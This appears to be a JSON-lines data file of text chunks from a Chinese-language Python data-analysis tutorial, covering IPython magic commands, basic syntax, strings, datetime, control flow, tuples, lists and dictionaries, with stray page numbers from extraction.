    {"text": "假设在其它应用中复制了如下代码： x = 5 y = 7 if x > 5: x += 1 y = 8 最简单的方法是使用 %paste 和 %cpaste 函数。 %paste 可以直接运行剪贴板中的代码： In [17]: %paste x = 5 y = 7 if x > 5: x += 1 y = 8 ## -- End pasted text -- %cpaste 功能类似，但会给出一条提示： In [18]: %cpaste Pasting code; enter '--' alone on the line to stop or use Ctrl-D. :x = 5 :y = 7 :if x > 5: 22 : x += 1 : : y = 8 :-- 使用 %cpaste ，你可以粘贴任意多的代码再运行。"},
    {"text": "例如，可以用 %timeit （这个命 令后面会详谈）测量任何Python语句，例如矩阵乘法，的执行时间： In [20]: a = np.random.randn(100, 100) In [20]: %timeit np.dot(a, a) 10000 loops, best of 3: 20.9 µs per loop 魔术命令可以被看做IPython中运行的命令行。"},
    {"text": "查看： In [21]: %debug? Docstring: :: %debug [--breakpoint FILE:LINE] [statement [statement ...]] Activate the interactive debugger. This magic command support two ways of activating debugger. One is to activate debugger before executing code. This way, you can set a break point, to step through the code from the point. You can use this mode by giving statements to execute and optionally a breakpoint. The other one is to activate debugger in post-mortem mode. You can activate this mode simply running %debug without any argument. If an exception has just occurred, this lets you inspect its stack frames interactively. Note that this will always work only on the last traceback that occurred, so you must call this quickly after an exception that you wish to inspect has fired, because if another one occurs, it clobbers the previous one. If you want IPython to automatically do this on every exception, see the %pdb magic for more details. positional arguments: statement Code to run in debugger. You can omit this in cell magic mode. optional arguments: --breakpoint <FILE:LINE>, -b <FILE:LINE> Set break point at LINE in FILE. 魔术函数默认可以不用百分号，只要没有变量和函数名相同。"},
    {"text": "24 一些魔术函数与Python函数很像，它的结果可以赋值给一个变量： In [22]: %pwd Out[22]: '/home/wesm/code/pydata-book In [23]: foo = %pwd In [24]: foo Out[24]: '/home/wesm/code/pydata-book' IPython的文档可以在shell中打开，我建议你用 %quickref 或 %magic 学习下所有特殊命令。"},
    {"text": "在IPython shell中，运行 %matplotlib 可以进行设置，可以创建多个绘图窗口，而不会干扰控制台 session： In [26]: %matplotlib Using matplotlib backend: Qt4Agg 25 在JUpyter中，命令有所不同（图2-6）： In [26]: %matplotlib inline 2.3 Python 语法基础 在本节中，我将概述基本的Python概念和语言机制。"},
    {"text": "看一个排序算法的 for 循环： for x in array: if x < pivot: less.append(x) else: greater.append(x) 冒号标志着缩进代码块的开始，冒号之后的所有代码的缩进量必须相同，直到代码块结束。"},
    {"text": "简便的方法就是将其注释掉： results = [] for line in file_handle: # keep the empty lines for now # if len(line) == 0: # continue results.append(line.replace('foo', 'bar')) 也可以在执行过的代码后面添加注释。"},
    {"text": "一些人习惯在代码之前添加注释，前者这种方法有时也是有 用的： print(\"Reached this line\") # Simple status report 函数和对象方法调用 你可以用圆括号调用函数，传递零个或几个参数，或者将返回值给一个变量： result = f(x, y, z) g() 27 几乎Python中的每个对象都有附加的函数，称作方法，可以用来访问对象的内容。"},
    {"text": "可以用下面的 语句调用： obj.some_method(x, y, z) 函数可以使用位置和关键词参数： result = f(a, b, c, d=5, e='foo') 后面会有更多介绍。"},
    {"text": "考虑一个整 数列表： In [8]: a = [1, 2, 3] 假设将a赋值给一个新变量b： In [9]: b = a 在有些方法中，这个赋值会将数据[1, 2, 3]也复制。"},
    {"text": "你可以在a中添加一个元素，然后检查b： In [10]: a.append(4) In [11]: b Out[11]: [1, 2, 3, 4] 理解Python的引用的含义，数据是何时、如何、为何复制的，是非常重要的。"},
    {"text": "假设有以下函数： def append_element(some_list, element): some_list.append(element) 然后有： In [27]: data = [1, 2, 3] In [28]: append_element(data, 4) In [29]: data Out[29]: [1, 2, 3, 4] 动态引用，强类型 与许多编译语言（如JAVA和C++）对比，Python中的对象引用不包含附属的类型。"},
    {"text": "下面的代码是 没有问题的： In [12]: a = 5 In [13]: type(a) Out[13]: int In [14]: a = 'foo' In [15]: type(a) Out[15]: str 变量是在特殊命名空间中的对象的名字，类型信息保存在对象自身中。"},
    {"text": "这是不正确的，看下面的例子： In [16]: '5' + 5 --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-16-f9dbf5f0b234> in <module>() ----> 1 '5' + 5 TypeError: must be str, not int 29 在某些语言中，例如Visual Basic，字符串‘5’可能被默许转换（或投射）为整数，因此会产生10。"},
    {"text": "在这个方 面，Python被认为是强类型化语言，意味着每个对象都有明确的类型（或类），默许转换只会发 生在特定的情况下，例如： In [17]: a = 4.5 In [18]: b = 2 # String formatting, to be visited later In [19]: print('a is {0}, b is {1}'.format(type(a), type(b))) a is <class 'float'>, b is <class 'int'> In [20]: a / b Out[20]: 2.25 知道对象的类型很重要，最好能让函数可以处理多种类型的输入。 你可以用 isinstance 函数检查 对象是某个类型的实例： In [21]: a = 5 In [22]: isinstance(a, int) Out[22]: True isinstance 可以用类型元组，检查对象的类型是否在元组中： In [23]: a = 5; b = 4.5 In [24]: isinstance(a, (int, float)) Out[24]: True In [25]: isinstance(b, (int, float)) Out[25]: True 属性和方法 Python的对象通常都有属性（其它存储在对象内部的Python对象）和方法（对象的附属函数可以 访问对象的内部数据）。"},
    {"text": "可以用 obj.attribute_name 访问属性和方法： In [1]: a = 'foo' In [2]: a.<Press Tab> a.capitalize a.format a.isupper a.rindex a.strip a.center a.index a.join a.rjust a.swapcase a.count a.isalnum a.ljust a.rpartition a.title 30 a.decode a.isalpha a.lower a.rsplit a.translate a.encode a.isdigit a.lstrip a.rstrip a.upper a.endswith a.islower a.partition a.split a.zfill a.expandtabs a.isspace a.replace a.splitlines a.find a.istitle a.rfind a.startswith 也可以用 getattr 函数，通过名字访问属性和方法： In [27]: getattr(a, 'split') Out[27]: <function str.split> 在其它语言中，访问对象的名字通常称作“反射”。"},
    {"text": "对于许多对象，这意味着它有一个 __iter__ 魔术方 法，其它更好的判断方法是使用 iter 函数： def isiterable(obj): try: iter(obj) return True except TypeError: # not iterable return False 这个函数会返回字符串以及大多数Python集合类型为 True ： In [29]: isiterable('a string') Out[29]: True In [30]: isiterable([1, 2, 3]) Out[30]: True In [31]: isiterable(5) Out[31]: False 我总是用这个功能编写可以接受多种输入类型的函数。"},
    {"text": "你可先检验对象是否是列表（或是NUmPy数 组），如果不是的话，将其转变成列表： if not isinstance(x, list) and isiterable(x): 31 x = list(x) 引入 在Python中，模块就是一个有 .py 扩展名、包含Python代码的文件。"},
    {"text": "假设有以下模块： # some_module.py PI = 3.14159 def f(x): return x + 2 def g(a, b): return a + b 如果想从同目录下的另一个文件访问 some_module.py 中定义的变量和函数，可以： import some_module result = some_module.f(5) pi = some_module.PI 或者： from some_module import f, g, PI result = g(5, PI) 使用 as 关键词，你可以给引入起不同的变量名： import some_module as sm from some_module import PI as pi, g as gf r1 = sm.f(pi) r2 = gf(6, pi) 二元运算符和比较运算符 大多数二元数学运算和比较都不难想到： In [32]: 5 - 7 Out[32]: -2 In [33]: 12 + 21.5 Out[33]: 33.5 32 In [34]: 5 <= 2 Out[34]: False 表2-3列出了所有的二元运算符。"},
    {"text": "is not 可以判断两个对象是不同的： In [35]: a = [1, 2, 3] In [36]: b = a In [37]: c = list(a) In [38]: a is b Out[38]: True In [39]: a is not c Out[39]: True 因为 list 总是创建一个新的Python列表（即复制），我们可以断定c是不同于a的。 使用 is 比较 与 == 运算符不同，如下： In [40]: a == c Out[40]: True is 和 is not 常用来判断一个变量是否为 None ，因为只有一个 None 的实例： In [41]: a = None In [42]: a is None Out[42]: True 33 可变与不可变对象 Python中的大多数对象，比如列表、字典、NumPy数组，和用户定义的类型（类），都是可变 的。"},
    {"text": "意味着这些对象或包含的值可以被修改： In [43]: a_list = ['foo', 2, [4, 5]] In [44]: a_list[2] = (3, 4) In [45]: a_list Out[45]: ['foo', 2, (3, 4)] 其它的，例如字符串和元组，是不可变的： In [46]: a_tuple = (3, 5, (4, 5)) In [47]: a_tuple[1] = 'four' --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-47-b7966a9ae0f1> in <module>() ----> 1 a_tuple[1] = 'four' TypeError: 'tuple' object does not support item assignment 34 记住，可以修改一个对象并不意味就要修改它。"},
    {"text": "int 可以存储任意大的数： In [48]: ival = 17239871 In [49]: ival ** 6 Out[49]: 26254519291092456596965462913230729701102721 浮点数使用Python的 float 类型。"},
    {"text": "也可以用科学计数法表示： In [50]: fval = 7.243 In [51]: fval2 = 6.78e-5 不能得到整数的除法会得到浮点数： In [52]: 3 / 2 Out[52]: 1.5 要获得C-风格的整除（去掉小数部分），可以使用底除运算符//： In [53]: 3 // 2 Out[53]: 1 35 字符串 许多人是因为Python强大而灵活的字符串处理而使用Python的。"},
    {"text": "你可以用单引号或双引号来写字 符串： a = 'one way of writing a string' b = \"another way\" 对于有换行符的字符串，可以使用三引号，'''或\"\"\"都行： c = \"\"\" This is a longer string that spans multiple lines \"\"\" 字符串 c 实际包含四行文本，\"\"\"后面和lines后面的换行符。"},
    {"text": "可以用 count 方法计算 c 中的新的 行： In [55]: c.count('\\n') Out[55]: 3 Python的字符串是不可变的，不能修改字符串： In [56]: a = 'this is a string' In [57]: a[10] = 'f' --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-57-5ca625d1e504> in <module>() ----> 1 a[10] = 'f' TypeError: 'str' object does not support item assignment In [58]: b = a.replace('string', 'longer string') In [59]: b Out[59]: 'this is a longer string' 经过以上的操作，变量 a 并没有被修改： In [60]: a Out[60]: 'this is a string' 许多Python对象使用 str 函数可以被转化为字符串： 36 In [61]: a = 5.6 In [62]: s = str(a) In [63]: print(s) 5.6 字符串是一个序列的Unicode字符，因此可以像其它序列，比如列表和元组（下一章会详细介绍两 者）一样处理： In [64]: s = 'python' In [65]: list(s) Out[65]: ['p', 'y', 't', 'h', 'o', 'n'] In [66]: s[:3] Out[66]: 'pyt' 语法 s[:3] 被称作切片，适用于许多Python序列。"},
    {"text": "反斜杠是转义字符，意思是它备用来表示特殊字符，比如换行符\\n或Unicode字符。 要写一个包含 反斜杠的字符串，需要进行转义： In [67]: s = '12\\\\34' In [68]: print(s) 12\\34 如果字符串中包含许多反斜杠，但没有特殊字符，这样做就很麻烦。"},
    {"text": "幸好，可以在字符串前面加一 个r，表明字符就是它自身： In [69]: s = r'this\\has\\no\\special\\characters' In [70]: s Out[70]: 'this\\\\has\\\\no\\\\special\\\\characters' r表示raw。"},
    {"text": "将两个字符串合并，会产生一个新的字符串： In [71]: a = 'this is the first half ' In [72]: b = 'and this is the second half' In [73]: a + b 37 Out[73]: 'this is the first half and this is the second half' 字符串的模板化或格式化，是另一个重要的主题。"},
    {"text": "字符串对象有 format 方法，可以替换格式化的参数为字符串，产生一个新的字符串： In [74]: template = '{0:.2f} {1:s} are worth US${2:d}' 在这个字符串中， {0:.2f} 表示格式化第一个参数为带有两位小数的浮点数。 {1:s} 表示格式化第二个参数为字符串。 {2:d} 表示格式化第三个参数为一个整数。"},
    {"text": "要替换参数为这些格式化的参数，我们传递 format 方法一个序列： In [75]: template.format(4.5560, 'Argentine Pesos', 1) Out[75]: '4.56 Argentine Pesos are worth US$1' 字符串格式化是一个很深的主题，有多种方法和大量的选项，可以控制字符串中的值是如何格式化 的。"},
    {"text": "看一个例子： In [76]: val = \"español\" In [77]: val Out[77]: 'español' 可以用 encode 将这个Unicode字符串编码为UTF-8： In [78]: val_utf8 = val.encode('utf-8') In [79]: val_utf8 Out[79]: b'espa\\xc3\\xb1ol' In [80]: type(val_utf8) Out[80]: bytes 38 如果你知道一个字节对象的Unicode编码，用 decode 方法可以解码： In [81]: val_utf8.decode('utf-8') Out[81]: 'español' 虽然UTF-8编码已经变成主流，但因为历史的原因，你仍然可能碰到其它编码的数据： In [82]: val.encode('latin1') Out[82]: b'espa\\xf1ol' In [83]: val.encode('utf-16') Out[83]: b'\\xff\\xfee\\x00s\\x00p\\x00a\\x00\\xf1\\x00o\\x00l\\x00' In [84]: val.encode('utf-16le') Out[84]: b'e\\x00s\\x00p\\x00a\\x00\\xf1\\x00o\\x00l\\x00' 工作中碰到的文件很多都是字节对象，盲目地将所有数据编码为Unicode是不可取的。 虽然用的不多，你可以在字节文本的前面加上一个b： In [85]: bytes_val = b'this is bytes' In [86]: bytes_val Out[86]: b'this is bytes' In [87]: decoded = bytes_val.decode('utf8') In [88]: decoded # this is str (Unicode) now Out[88]: 'this is bytes' 布尔值 Python中的布尔值有两个，True和False。"},
    {"text": "布尔 值可以与and和or结合使用： In [89]: True and True Out[89]: True In [90]: False or True Out[90]: True 类型转换 str、bool、int和float也是函数，可以用来转换类型： 39 In [91]: s = '3.14159' In [92]: fval = float(s) In [93]: type(fval) Out[93]: float In [94]: int(fval) Out[94]: 3 In [95]: bool(fval) Out[95]: True In [96]: bool(0) Out[96]: False None None是Python的空值类型。 如果一个函数没有明确的返回值，就会默认返回None： In [97]: a = None In [98]: a is None Out[98]: True In [99]: b = 5 In [100]: b is not None Out[100]: True None也常常作为函数的默认参数： def add_and_maybe_multiply(a, b, c=None): result = a + b if c is not None: result = result * c return result 另外，None不仅是一个保留字，还是唯一的NoneType的实例： In [101]: type(None) Out[101]: NoneType 40 日期和时间 Python内建的 datetime 模块提供了 datetime 、 date 和 time 类型。"},
    {"text": "datetime 类型结合 了 date 和 time ，是最常使用的： In [102]: from datetime import datetime, date, time In [103]: dt = datetime(2011, 10, 29, 20, 30, 21) In [104]: dt.day Out[104]: 29 In [105]: dt.minute Out[105]: 30 根据 datetime 实例，你可以用 date 和 time 提取出各自的对象： In [106]: dt.date() Out[106]: datetime.date(2011, 10, 29) In [107]: dt.time() Out[107]: datetime.time(20, 30, 21) strftime 方法可以将datetime格式化为字符串： In [108]: dt.strftime('%m/%d/%Y %H:%M') Out[108]: '10/29/2011 20:30' strptime 可以将字符串转换成 datetime 对象： In [109]: datetime.strptime('20091031', '%Y%m%d') Out[109]: datetime.datetime(2009, 10, 31, 0, 0) 表2-5列出了所有的格式化命令。"},
    {"text": "例如，用0替换分和 秒： In [110]: dt.replace(minute=0, second=0) Out[110]: datetime.datetime(2011, 10, 29, 20, 0) 因为 datetime.datetime 是不可变类型，上面的方法会产生新的对象。 两个datetime对象的差会产生一个 datetime.timedelta 类型： In [111]: dt2 = datetime(2011, 11, 15, 22, 30) In [112]: delta = dt2 - dt In [113]: delta Out[113]: datetime.timedelta(17, 7179) In [114]: type(delta) Out[114]: datetime.timedelta 结果 timedelta(17, 7179) 指明了 timedelta 将17天、7179秒的编码方式。 将 timedelta 添加到 datetime ，会产生一个新的偏移 datetime ： In [115]: dt Out[115]: datetime.datetime(2011, 10, 29, 20, 30, 21) In [116]: dt + delta 42 Out[116]: datetime.datetime(2011, 11, 15, 22, 30) 控制流 Python有若干内建的关键字进行条件逻辑、循环和其它控制流操作。"},
    {"text": "它检查一个条件，如果为True，就执行后面的语句： if x < 0: print('It's negative') if 后面可以跟一个或多个 elif ，所有条件都是False时，还可以添加一个 else ： if x < 0: print('It's negative') elif x == 0: print('Equal to zero') elif 0 < x < 5: print('Positive but smaller than 5') else: print('Positive and larger than or equal to 5') 如果某个条件为True，后面的 elif 就不会被执行。"},
    {"text": "当使用and和or时，复合条件语句是从左到右 执行： In [117]: a = 5; b = 7 In [118]: c = 8; d = 4 In [119]: if a < b or c > d: .....: print('Made it') Made it 在这个例子中， c > d 不会被执行，因为第一个比较是True： 也可以把比较式串在一起： In [120]: 4 > 3 > 2 > 1 Out[120]: True for 循环 43 for循环是在一个集合（列表或元组）中进行迭代，或者就是一个迭代器。"},
    {"text": "看下面这个例子，将一个列表中的整数相加， 跳过None： sequence = [1, 2, None, 4, None, 5] total = 0 for value in sequence: if value is None: continue total += value 可以用 break 跳出for循环。 下面的代码将各元素相加，直到遇到5： sequence = [1, 2, 0, 4, 6, 5, 2, 1] total_until_5 = 0 for value in sequence: if value == 5: break total_until_5 += value break只中断for循环的最内层，其余的for循环仍会运行： In [121]: for i in range(4): .....: for j in range(4): .....: if j > i: .....: break .....: print((i, j)) .....: (0, 0) (1, 0) (1, 1) (2, 0) (2, 1) (2, 2) (3, 0) (3, 1) (3, 2) (3, 3) 如果集合或迭代器中的元素序列（元组或列表），可以用for循环将其方便地拆分成变量： 44 for a, b, c in iterator: # do something While 循环 while循环指定了条件和代码，当条件为False或用break退出循环，代码才会退出： x = 256 total = 0 while x > 0: if total > 500: break total += x x = x // 2 pass pass是Python中的非操作语句。"},
    {"text": "因为Python需要使用空白字符划定代码块，所以需要pass： if x < 0: print('negative!') elif x == 0: # TODO: put something smart here pass else: print('positive!') range range函数返回一个迭代器，它产生一个均匀分布的整数序列： In [122]: range(10) Out[122]: range(0, 10) In [123]: list(range(10)) Out[123]: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] range的三个参数是（起点，终点，步进）： In [124]: list(range(0, 20, 2)) Out[124]: [0, 2, 4, 6, 8, 10, 12, 14, 16, 18] 45 In [125]: list(range(5, 0, -1)) Out[125]: [5, 4, 3, 2, 1] 可以看到，range产生的整数不包括终点。 range的常见用法是用序号迭代序列： seq = [1, 2, 3, 4] for i in range(len(seq)): val = seq[i] 可以使用list来存储range在其他数据结构中生成的所有整数，默认的迭代器形式通常是你想要的。"},
    {"text": "下面的代码对0到99999中3或5的倍数求和： sum = 0 for i in range(100000): # % is the modulo operator if i % 3 == 0 or i % 5 == 0: sum += i 虽然range可以产生任意大的数，但任意时刻耗用的内存却很小。"},
    {"text": "语法如下： value = true-expr if condition else false-expr true-expr 或 false-expr 可以是任何Python代码。 它和下面的代码效果相同： if condition: value = true-expr else: value = false-expr 下面是一个更具体的例子： In [126]: x = 5 In [127]: 'Non-negative' if x >= 0 else 'Negative' Out[127]: 'Non-negative' 和if-else一样，只有一个表达式会被执行。"},
    {"text": "因此，三元表达式中的if和else可以包含大量的计算，但 只有True的分支会被执行。 因此，三元表达式中的if和else可以包含大量的计算，但只有True的分 支会被执行。"},
    {"text": "创建元组的最简单方式，是用逗号分隔一列 值： In [1]: tup = 4, 5, 6 In [2]: tup Out[2]: (4, 5, 6) 当用复杂的表达式定义元组，最好将值放到圆括号内，如下所示： In [3]: nested_tup = (4, 5, 6), (7, 8) In [4]: nested_tup Out[4]: ((4, 5, 6), (7, 8)) 用 tuple 可以将任意序列或迭代器转换成元组： In [5]: tuple([4, 0, 2]) Out[5]: (4, 0, 2) In [6]: tup = tuple('string') In [7]: tup Out[7]: ('s', 't', 'r', 'i', 'n', 'g') 可以用方括号访问元组中的元素。"},
    {"text": "一旦创建了元组，元组中的对象就不能修改了： 48 In [9]: tup = tuple(['foo', [1, 2], True]) In [10]: tup[2] = False --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-10-c7308343b841> in <module>() ----> 1 tup[2] = False TypeError: 'tuple' object does not support item assignment 如果元组中的某个对象是可变的，比如列表，可以在原位进行修改： In [11]: tup[1].append(3) In [12]: tup Out[12]: ('foo', [1, 2, 3], True) 可以用加号运算符将元组串联起来： In [13]: (4, None, 'foo') + (6, 0) + ('bar',) Out[13]: (4, None, 'foo', 6, 0, 'bar') 元组乘以一个整数，像列表一样，会将几个元组的复制串联起来： In [14]: ('foo', 'bar') * 4 Out[14]: ('foo', 'bar', 'foo', 'bar', 'foo', 'bar', 'foo', 'bar') 对象本身并没有被复制，只是引用了它。"},
    {"text": "拆分元组 如果你想将元组赋值给类似元组的变量，Python会试图拆分等号右边的值： In [15]: tup = (4, 5, 6) In [16]: a, b, c = tup In [17]: b Out[17]: 5 即使含有元组的元组也会被拆分： In [18]: tup = 4, 5, (6, 7) 49 In [19]: a, b, (c, d) = tup In [20]: d Out[20]: 7 使用这个功能，你可以很容易地替换变量的名字，其它语言可能是这样： tmp = a a = b b = tmp 但是在Python中，替换可以这样做： In [21]: a, b = 1, 2 In [22]: a Out[22]: 1 In [23]: b Out[23]: 2 In [24]: b, a = a, b In [25]: a Out[25]: 2 In [26]: b Out[26]: 1 变量拆分常用来迭代元组或列表序列： In [27]: seq = [(1, 2, 3), (4, 5, 6), (7, 8, 9)] In [28]: for a, b, c in seq: ....: print('a={0}, b={1}, c={2}'.format(a, b, c)) a=1, b=2, c=3 a=4, b=5, c=6 a=7, b=8, c=9 另一个常见用法是从函数返回多个值。"},
    {"text": "它使用了特殊的 语法 *rest ，这也用在函数签名中以抓取任意长度列表的位置参数： In [29]: values = 1, 2, 3, 4, 5 50 In [30]: a, b, *rest = values In [31]: a, b Out[31]: (1, 2) In [32]: rest Out[32]: [3, 4, 5] rest 的部分是想要舍弃的部分，rest的名字不重要。"},
    {"text": "作为惯用写法，许多Python程序员会将不需 要的变量使用下划线： In [33]: a, b, *_ = values tuple 方法 因为元组的大小和内容不能修改，它的实例方法都很轻量。"},
    {"text": "其中一个很有用的就是 count （也适 用于列表），它可以统计某个值得出现频率： In [34]: a = (1, 2, 2, 2, 3, 4, 2) In [35]: a.count(2) Out[35]: 4 列表 与元组对比，列表的长度可变、内容可以被修改。"},
    {"text": "你可以用方括号定义，或用 list 函数： In [36]: a_list = [2, 3, 7, None] In [37]: tup = ('foo', 'bar', 'baz') In [38]: b_list = list(tup) In [39]: b_list Out[39]: ['foo', 'bar', 'baz'] In [40]: b_list[1] = 'peekaboo' In [41]: b_list Out[41]: ['foo', 'peekaboo', 'baz'] 列表和元组的语义接近，在许多函数中可以交叉使用。 51 list 函数常用来在数据处理中实体化迭代器或生成器： In [42]: gen = range(10) In [43]: gen Out[43]: range(0, 10) In [44]: list(gen) Out[44]: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 添加和删除元素 可以用 append 在列表末尾添加元素： In [45]: b_list.append('dwarf') In [46]: b_list Out[46]: ['foo', 'peekaboo', 'baz', 'dwarf'] insert 可以在特定的位置插入元素： In [47]: b_list.insert(1, 'red') In [48]: b_list Out[48]: ['foo', 'red', 'peekaboo', 'baz', 'dwarf'] 插入的序号必须在0和列表长度之间。"},
    {"text": "insert的逆运算是pop，它移除并返回指定位置的元素： In [49]: b_list.pop(2) Out[49]: 'peekaboo' In [50]: b_list Out[50]: ['foo', 'red', 'baz', 'dwarf'] 可以用 remove 去除某个值， remove 会先寻找第一个值并除去： In [51]: b_list.append('foo') 52 In [52]: b_list Out[52]: ['foo', 'red', 'baz', 'dwarf', 'foo'] In [53]: b_list.remove('foo') In [54]: b_list Out[54]: ['red', 'baz', 'dwarf', 'foo'] 如果不考虑性能，使用 append 和 remove ，可以把Python的列表当做完美的“多重集”数据结构。"},
    {"text": "用 in 可以检查列表是否包含某个值： In [55]: 'dwarf' in b_list Out[55]: True 否定 in 可以再加一个not： In [56]: 'dwarf' not in b_list Out[56]: False 在列表中检查是否存在某个值远比字典和集合速度慢，因为Python是线性搜索列表中的值，但在 字典和集合中，在同样的时间内还可以检查其它项（基于哈希表）。"},
    {"text": "串联和组合列表 与元组类似，可以用加号将两个列表串联起来： In [57]: [4, None, 'foo'] + [7, 8, (2, 3)] Out[57]: [4, None, 'foo', 7, 8, (2, 3)] 如果已经定义了一个列表，用 extend 方法可以追加多个元素： In [58]: x = [4, None, 'foo'] In [59]: x.extend([7, 8, (2, 3)]) In [60]: x Out[60]: [4, None, 'foo', 7, 8, (2, 3)] 通过加法将列表串联的计算量较大，因为要新建一个列表，并且要复制对象。"},
    {"text": "因此： everything = [] for chunk in list_of_lists: 53 everything.extend(chunk) 要比串联方法快： everything = [] for chunk in list_of_lists: everything = everything + chunk 排序 你可以用 sort 函数将一个列表原地排序（不创建新的对象）： In [61]: a = [7, 2, 5, 1, 3] In [62]: a.sort() In [63]: a Out[63]: [1, 2, 3, 5, 7] sort 有一些选项，有时会很好用。"},
    {"text": "例如，我 们可以按长度对字符串进行排序： In [64]: b = ['saw', 'small', 'He', 'foxes', 'six'] In [65]: b.sort(key=len) In [66]: b Out[66]: ['He', 'saw', 'six', 'small', 'foxes'] 稍后，我们会学习 sorted 函数，它可以产生一个排好序的序列副本。"},
    {"text": "二分搜索和维护已排序的列表 bisect 模块支持二分查找，和向已排序的列表插入值。 bisect.bisect 可以找到插入值后仍保证 排序的位置， bisect.insort 是向这个位置插入值： In [67]: import bisect In [68]: c = [1, 2, 2, 2, 3, 4, 7] In [69]: bisect.bisect(c, 2) Out[69]: 4 54 In [70]: bisect.bisect(c, 5) Out[70]: 6 In [71]: bisect.insort(c, 6) In [72]: c Out[72]: [1, 2, 2, 2, 3, 4, 6, 7] 注意： bisect 模块不会检查列表是否已排好序，进行检查的话会耗费大量计算。"},
    {"text": "切片 用切边可以选取大多数序列类型的一部分，切片的基本形式是在方括号中使用 start:stop ： In [73]: seq = [7, 2, 3, 7, 5, 6, 0, 1] In [74]: seq[1:5] Out[74]: [2, 3, 7, 5] 切片也可以被序列赋值： In [75]: seq[3:4] = [6, 3] In [76]: seq Out[76]: [7, 2, 3, 6, 3, 5, 6, 0, 1] 切片的起始元素是包括的，不包含结束元素。"},
    {"text": "start 或 stop 都可以被省略，省略之后，分别默认序列的开头和结尾： In [77]: seq[:5] Out[77]: [7, 2, 3, 6, 3] In [78]: seq[3:] Out[78]: [6, 3, 5, 6, 0, 1] 负数表明从后向前切片： In [79]: seq[-4:] Out[79]: [5, 6, 0, 1] In [80]: seq[-6:-2] Out[80]: [6, 3, 5, 6] 55 需要一段时间来熟悉使用切片，尤其是当你之前学的是R或MATLAB。"},
    {"text": "在第二个冒号后面使用 step ，可以隔一个取一个元素： In [81]: seq[::2] Out[81]: [7, 3, 3, 6, 1] 一个聪明的方法是使用 -1 ，它可以将列表或元组颠倒过来： In [82]: seq[::-1] Out[82]: [1, 0, 6, 5, 3, 6, 3, 2, 7] 序列函数 Python有一些有用的序列函数。"},
    {"text": "手动的方法可能是下面这样： i = 0 for value in collection: # do something with value i += 1 因为这么做很常见，Python内建了一个 enumerate 函数，可以返回 (i, value) 元组序列： for i, value in enumerate(collection): # do something with value 56 当你索引数据时，使用 enumerate 的一个好方法是计算序列（唯一的） dict 映射到位置的值： In [83]: some_list = ['foo', 'bar', 'baz'] In [84]: mapping = {} In [85]: for i, v in enumerate(some_list): ....: mapping[v] = i In [86]: mapping Out[86]: {'bar': 1, 'baz': 2, 'foo': 0} sorted 函数 sorted 函数可以从任意序列的元素返回一个新的排好序的列表： In [87]: sorted([7, 1, 2, 6, 0, 3, 2]) Out[87]: [0, 1, 2, 2, 3, 6, 7] In [88]: sorted('horse race') Out[88]: [' ', 'a', 'c', 'e', 'e', 'h', 'o', 'r', 'r', 's'] sorted 函数可以接受和 sort 相同的参数。"},
    {"text": "zip 函数 zip 可以将多个列表、元组或其它序列成对组合成一个元组列表： In [89]: seq1 = ['foo', 'bar', 'baz'] In [90]: seq2 = ['one', 'two', 'three'] In [91]: zipped = zip(seq1, seq2) In [92]: list(zipped) Out[92]: [('foo', 'one'), ('bar', 'two'), ('baz', 'three')] zip 可以处理任意多的序列，元素的个数取决于最短的序列： In [93]: seq3 = [False, True] In [94]: list(zip(seq1, seq2, seq3)) Out[94]: [('foo', 'one', False), ('bar', 'two', True)] 57 zip 的常见用法之一是同时迭代多个序列，可能结合 enumerate 使用： In [95]: for i, (a, b) in enumerate(zip(seq1, seq2)): ....: print('{0}: {1}, {2}'.format(i, a, b)) ....: 0: foo, one 1: bar, two 2: baz, three 给出一个“被压缩的”序列， zip 可以被用来解压序列。"},
    {"text": "这个方法看起来有点神奇： In [96]: pitchers = [('Nolan', 'Ryan'), ('Roger', 'Clemens'), ....: ('Schilling', 'Curt')] In [97]: first_names, last_names = zip(*pitchers) In [98]: first_names Out[98]: ('Nolan', 'Roger', 'Schilling') In [99]: last_names Out[99]: ('Ryan', 'Clemens', 'Curt') reversed 函数 reversed 可以从后向前迭代一个序列： In [100]: list(reversed(range(10))) Out[100]: [9, 8, 7, 6, 5, 4, 3, 2, 1, 0] 要记住 reversed 是一个生成器（后面详细介绍），只有实体化（即列表或for循环）之后才能创建 翻转的序列。"},
    {"text": "创建字典的方法之一是使用尖括号，用冒号分隔键和 值： In [101]: empty_dict = {} In [102]: d1 = {'a' : 'some value', 'b' : [1, 2, 3, 4]} In [103]: d1 58 Out[103]: {'a': 'some value', 'b': [1, 2, 3, 4]} 你可以像访问列表或元组中的元素一样，访问、插入或设定字典中的元素： In [104]: d1[7] = 'an integer' In [105]: d1 Out[105]: {'a': 'some value', 'b': [1, 2, 3, 4], 7: 'an integer'} In [106]: d1['b'] Out[106]: [1, 2, 3, 4] 你可以用检查列表和元组是否包含某个值的方法，检查字典中是否包含某个键： In [107]: 'b' in d1 Out[107]: True 可以用 del 关键字或 pop 方法（返回值的同时删除键）删除值： In [108]: d1[5] = 'some value' In [109]: d1 Out[109]: {'a': 'some value', 'b': [1, 2, 3, 4], 7: 'an integer', 5: 'some value'} In [110]: d1['dummy'] = 'another value' In [111]: d1 Out[111]: {'a': 'some value', 'b': [1, 2, 3, 4], 7: 'an integer', 5: 'some value', 'dummy': 'another value'} In [112]: del d1[5] In [113]: d1 Out[113]: {'a': 'some value', 'b': [1, 2, 3, 4], 7: 'an integer', 'dummy': 'another value'} 59 In [114]: ret = d1.pop('dummy') In [115]: ret Out[115]: 'another value' In [116]: d1 Out[116]: {'a': 'some value', 'b': [1, 2, 3, 4], 7: 'an integer'} keys 和 values 是字典的键和值的迭代器方法。 虽然键值对没有顺序，这两个方法可以用相同的 顺序输出键和值： In [117]: list(d1.keys()) Out[117]: ['a', 'b', 7] In [118]: list(d1.values()) Out[118]: ['some value', [1, 2, 3, 4], 'an integer'] 用 update 方法可以将一个字典与另一个融合： In [119]: d1.update({'b' : 'foo', 'c' : 12}) In [120]: d1 Out[120]: {'a': 'some value', 'b': 'foo', 7: 'an integer', 'c': 12} update 方法是原地改变字典，因此任何传递给 update 的键的旧的值都会被舍弃。"},
